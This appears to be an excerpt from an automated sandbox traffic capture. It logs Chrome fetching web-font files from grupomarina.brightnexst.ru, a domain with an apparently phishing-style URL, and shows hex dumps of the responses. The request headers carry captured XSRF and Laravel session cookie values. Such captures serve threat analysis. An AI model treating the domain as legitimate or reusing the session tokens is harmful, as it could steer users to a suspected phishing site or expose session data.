Data Ascii: Jv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<tFmp<
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe bc db d1 9c e4 c8 6f eb 5d 95 d9 Data Ascii: &[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8Ko]
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 80 4b e9 19 9a 89 31 66 d1 1c e0 Data Ascii: =6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AOK1f
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 66 d0 31 46 26 46 06 43 b6 2c Data Ascii: p[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc` #f1F&FC,
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 83 0e 22 c4 be c5 be 82 58 a4 46 Data Ascii: L+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s"XF
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 4e ee 78 72 a9 f4 ea bf fa 1a Data Ascii: 97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&KHNxr
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f 77 37 0d 0a c1 21 6a 90 8a 38 1a d0 cf Data Ascii: zuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/Ow7!j8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49737	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	1398	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Origin: https://grupomarina.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:14 UTC	1155	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:13 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" Last-Modified: Mon, 17 Mar 2025 20:55:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mZbty9ErUbiKYqY4o9bmQTzQ38b%2Bze5bLtmieHBfQ3h9%2BWqipPVXnwwIIp94Xpv0xRcmaQgxZeVaYQRpYZlJW7j7QbhO1rvRc%2B3jipvnIo1mEKlvVXtvR1JD2wiA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=3727&min_rtt=3681&rtt_var=1474&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2308&delivery_rate=714180&cwnd=251&unsent_bytes=0&cid=da6e3ac1003a8343&ts=126&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 921f63d5b9308cbf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1896&min_rtt=1837&rtt_var=731&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1970&delivery_rate=1589548&cwnd=214&unsent_bytes=0&cid=c8e4c6f95ec98240&ts=544&x=0"
2025-03-17 20:55:14 UTC	214	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 d9 8c a2 1d 9b a8 70 25 87 11 46 eb 65 fa 72 22 79 47 8c bc e1 0d 8b 92 c1 66 b3 4d 33 f2 5d 18 55 1b 70 f3 a0 b7 1c 8d 45 19 a1 3c 9d cb 3a e4 db 6a 81 9b 45 b7 f8 c1 e1 b0 ec a7 c9 b6 74 91 bb 98 ef 21 c7 16 ca bf a1 7e 61 b5 c0 03 4a fd 6d 98 ee 1c 94 66 e3 82 64 a7 65 45 ac c3 bb 3e d4 3a f4 39 85 0a fc c7 d9 99 2c 36 4b 7b e8 71 b2 15 36 65 b8 17 34 3a 7a b4 e5 d3 ff 7f d5 b4 7b ef 7b ef ff 0f 80 24 86 93 20 8a 94 9c 42 1a 83 d4 e6 39 3a 30 c6 47 0b 8d 36 e4 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f 50 eb 4f 91 42 fa c8 45 cc b6 01 dd c4 75 9a 4a 9f 0a 5f a5 a0 ff a6 fa 1a f1 cc 13 08 64 64 3d cb Data Ascii: 5#hH2\|<1z]xZzzWp%Fer"yGfM3]UpE<:jEt!~aJmfdeE>:9,6K{q6e4:z{{$ B9:0G69RmjCWm]:{p?POBEuJ_dd=
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f 7c fa d9 e7 5f 7c f9 d5 d7 df 7c db 5d f7 bd 64 0f 0c 27 26 a7 a6 47 33 b3 fb f6 1f 38 78 68 6e 71 69 79 65 75 6d fd e4 a9 b3 e3 8d 73 e7 af 5e bf 79 ef fe 83 87 8f b6 1e 3f f9 f3 9f 58 9a 82 86 1f 14 46 8a 40 1a 1b 7a 01 35 e4 a7 cb 42 c2 8c cb 67 c9 7e 38 c8 2a 82 f2 62 14 42 0d 1b 75 31 c1 78 4a 5e bf 2c 2b 6d 8b 27 04 9e 3e 6d e9 7b 86 76 fb 60 50 1b 34 94 88 22 33 51 bc a1 68 24 f2 32 83 65 61 3f 18 48 15 94 c8 55 27 f2 4b de c9 51 8a dc 48 4d a6 31 ea c4 68 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 5a 41 13 73 52 90 c2 af a0 ce 1d c8 91 f5 2a 07 8b 48 c9 1f 54 95 4a c4 b9 30 36 d5 68 9c d9 ac 1e Data Ascii: 5:t~r.[E\|_\|\|]d'&G38xhnqiyeums^y?XF@z5Bg~8bBu1xJ^,+m'>m{v`P4"3Qh$2ea?HU'KQHM1he]F&1z),(ZAsR*HTJ06h
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a e7 f5 70 28 82 4f 23 f1 4c f0 1f 64 40 c9 5d ef 4e 34 73 9b 4f 1b c9 64 37 06 61 ef df 1b 02 4a c5 59 98 4b 0f 36 d0 5a 73 f5 66 c0 15 ed 9b ba b7 ff 63 21 49 05 47 7d 49 d8 17 b6 ee 07 ce d7 67 ec 43 6b 60 27 b7 64 26 32 b9 85 27 73 35 1c 97 af d5 11 87 28 82 6b db ba 8b 44 03 ea 74 51 f8 50 29 92 60 37 24 39 9a f2 78 10 00 7e 0c f8 fb af 87 98 f5 21 fa 03 f0 fe 0b c0 e7 1e 18 3f 20 9f 15 d5 73 9b e0 ea 0d c0 0a 55 22 1f d7 be 95 c7 07 d0 10 c0 9f 4b 7d 9f 65 ef 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da 81 bc 1f 6f ed af cd 01 69 36 13 85 22 36 87 26 df 8a bb 36 57 23 cd e1 00 6a 45 42 61 66 80 b9 f2 Data Ascii: N4Q:`O2Zr7_!LDp(O#Ld@]N4sOd7aJYK6Zsfc!IG}IgCk`'d&2's5(kDtQP)`7$9x~!? sU"K}e#Y9E>+2^`yCoi6"6&6W#jEBaf
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd ee b0 ad 34 7f fe fe a1 c6 53 ee bf ff bb a3 5f be 98 44 87 d1 39 8c c2 ff 5f ff ab bd e1 99 eb 7d 62 b1 48 28 0a 09 29 77 a6 55 70 c0 46 c3 ef 87 ba fe f8 99 9d db 78 1a 36 d6 74 7b 64 aa 20 1d b4 0b da 52 ff b3 d9 6a ef a5 a3 cf 1e 4f b4 02 97 09 94 f4 54 1f b3 7b 6d d4 8f 17 ee 2b cb 6b bb f3 ea e3 59 e2 05 ad 79 b9 68 05 49 62 56 99 cd 2c 54 d4 60 96 43 2f d0 0c 20 86 46 3c ac f7 3d 89 a7 0d b5 e3 56 65 b1 b7 00 cd 75 98 87 03 be 30 f6 77 7d 37 26 c2 a1 c8 bb 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 c0 ec 74 98 9c c3 35 07 f7 49 c9 89 8f d4 79 6c 76 39 5d c9 d6 fa d1 f5 6f e3 a4 8f ba fa 68 bb 04 Data Ascii: #N(qKZ8Bi78?4S_D9_}bH()wUpFx6t{d RjOT{m+kYyhIbV,T`C/ F<=Veu0w}7&#3JNvot5Iylv9]oh
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a 38 40 82 a1 65 99 d1 14 0a 63 bb 02 65 03 1e b3 c1 4a 4a 70 14 81 51 bf 67 c4 ef 2d e0 ae 3c b5 8f a9 a0 84 eb 9c 47 12 a6 10 45 87 23 73 0e b0 da 1e 15 0a fc c1 0e 13 a5 50 38 85 2b 3c 7c e5 bc 63 2e ba ec a4 ab 6e 93 1b ca 77 a9 b0 83 40 8e 5a fe f3 ce 37 c6 6d de 9f 7d d0 94 93 1c 3e 5e 7a f2 4c c5 39 f3 28 f5 dd e5 4a 1e bc b4 f4 ca 53 cb 9f 31 a5 e3 9e 77 42 fc 4b e4 12 ff 64 d3 65 37 bf ee 0a 29 21 1a 30 9f 2b 10 db 01 f2 b4 80 14 6f 25 7a 77 ff 40 e5 94 81 a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 7e 25 3f ba dc 73 f2 84 c3 1e d6 4f 02 c7 cd 8a 6e c5 bb 56 5d 88 d0 30 c3 ca d0 c7 d4 1b 4e ca de Data Ascii: ;NnKRr'MHJR&Bg8@eceJJpQg-<GE#sP8+<\|c.nw@Z7m}>^zL9(JS1wBKde7)!0+o%zw@A5l4G]p<~%?sOnV]0N
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 f8 02 a6 e7 7c ec d7 42 fb 31 97 76 f3 f4 f1 d4 d1 c9 2c 3b d9 cb 32 27 b8 e0 ba bb de f0 e9 81 c3 4d 9b c7 9d de 2b 5e aa 39 d5 f6 68 3c ca c3 b5 45 4b 26 69 35 3b 22 f8 66 00 cf 15 c3 bf a1 9f 94 ff a2 a5 42 76 c4 5f 6d a9 db 34 3d bc e8 cf ef d9 4c cd 9c 69 e9 df c1 83 ef 7e ef e7 76 36 b9 7b 7f f0 2f cd 9d dc 1c b8 ff 9c dd e9 ce e6 6c d0 89 3f 17 00 e0 55 3f 77 1e 45 08 4a c1 0e 70 80 2b 7f c4 29 43 1e 79 e5 4d ad 41 79 75 1d 85 fa 9d 91 63 fa 53 a2 5a 2d 3a 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 ef c4 6c 34 dd a5 c7 87 9e d3 f6 ba ba 2b 2f fb 50 c6 9f 4f 98 df 5d 9d 2d f5 75 bf 22 77 4e f1 c9 Data Ascii: !w*tVx8}#0r((UcW\|B1v,;2'M+^9h<EK&i5;"fBv_m4=Li~v6{/l?U?wEJp+)CyMAyucSZ-:h1's(t;W=Bxl4+/PO]-u"wN
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 28 ad 8d 49 e9 6c 2c 4a 6f 63 53 06 1b 87 32 da b8 94 c9 c6 a3 cc 36 fe 1a 3f a6 73 3f a9 6a 37 c6 d4 41 be bc 63 57 27 50 e1 3c 5e f4 5b 33 e8 7c 78 d1 df 1b b4 85 35 b6 5c 36 da 4a 5b 68 1b cc e0 b1 1d 08 76 00 c1 4e 20 d8 05 04 bb 81 60 0f 10 ec 05 82 7d 40 c2 21 d4 d3 c3 46 a9 70 4c 65 af 6a 46 9e cc 86 31 c4 ca 93 6e fa 8b 26 02 61 27 3c 70 a2 48 2b 19 30 64 c3 7d 1b 0d 93 af 05 36 b8 d6 89 0d 6b 21 ee 12 1d 34 b6 ec 2c 72 14 83 c2 a5 c5 b5 62 52 15 4e a0 3b bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 9d 9b 4e 0a f5 5a f1 fa 4b 09 50 c3 7d 27 4d 77 ae 77 32 cd 82 30 0e 9b ce 90 a5 31 92 e6 8a 3a ad Data Ascii: &j$A#u=\*-GM#)1(Il,JocS26?s?j7AcW'P<^[3\|x5\6J[hvN `}@!FpLejF1n&a'<pH+0d}6k!4,rbRN;A5$w!,/4NZKP}'Mww201:
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 c7 06 d9 2a fd 90 78 fb 11 1e b0 6c 7b 16 1e f7 81 66 5f c9 86 78 07 ae e5 f3 a1 92 c8 76 3e f6 dd ea 77 6c b0 c9 ca 8f c0 a9 18 d9 95 b0 d2 74 0b f5 36 bb 67 96 9a 5e 08 c2 ec 5f 59 dd 1f 29 29 63 7f 76 09 e5 97 48 e8 5d f2 d6 98 90 17 6e f9 c3 53 16 8c aa 2b c1 2a 8d 58 31 50 cf fd 70 ff a0 1e a6 51 22 eb 5a 71 c5 62 86 2e 66 bd 65 dd 0b 36 b8 6d d8 71 f6 dc 7a e8 63 42 90 c8 3e a8 c9 f5 84 34 c7 20 4f 6c 24 ca fb 3c c0 f6 c8 18 df 9b 6b a7 c8 e5 b0 7d 19 a9 d8 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 d2 b4 99 c8 68 4c 11 a6 c2 ba 94 c3 07 d8 1a 0d 24 e8 a0 81 c5 15 54 3a 57 d4 fb fa 7e 00 4f 48 92 Data Ascii: =RdVJMNvg\t1vwSv!xl{f_xv>wlt6g^_Y))cvH]nS+X1PpQ"Zqb.fe6mqzcB>4 Ol$<k}=n o]b#Fbj.0hL$T:W~OH
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd 83 c0 f2 ba bf 84 b5 69 1d 3c 31 46 2a 3b 9d b5 03 b9 b3 6d bd ab 4c c2 7c 42 09 c5 39 09 c8 ef 63 09 78 83 6f 48 a6 3b 90 83 18 25 79 72 47 76 61 ce 4c 5a 32 c0 de 11 19 13 b2 8b 01 14 50 48 67 17 c1 40 9f db d1 a2 30 99 cc 05 c2 9a d3 ff a9 3e ad 38 62 c6 8e bc ff 60 25 ac b5 5f 29 60 4d 64 62 88 b5 75 68 36 25 a7 c5 8e 03 24 9a 35 ce 03 45 e8 95 1f d1 53 2c 89 12 45 38 ef 68 4d c8 41 86 ad 65 02 ba 80 91 0a 3e b2 ef 49 f7 d3 6e 28 e2 5d dd 8f 29 2e 26 69 14 e7 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 a8 44 c8 d2 8c 7f 2d 77 c2 40 5d 4d d6 a6 22 1b 0c 00 0d d9 8f b1 f1 3f f9 72 dc 15 1d c1 58 32 85 Data Ascii: :IFUj_JAA6Qfi<1F*;mL\|B9cxoH;%yrGvaLZ2PHg@0>8b`%_)`Mdbuh6%$5ES,E8hMAe>In(]).&i,{8X.x2VLC&QWD-w@]M"?rX2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49739	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	1397	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Origin: https://grupomarina.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; 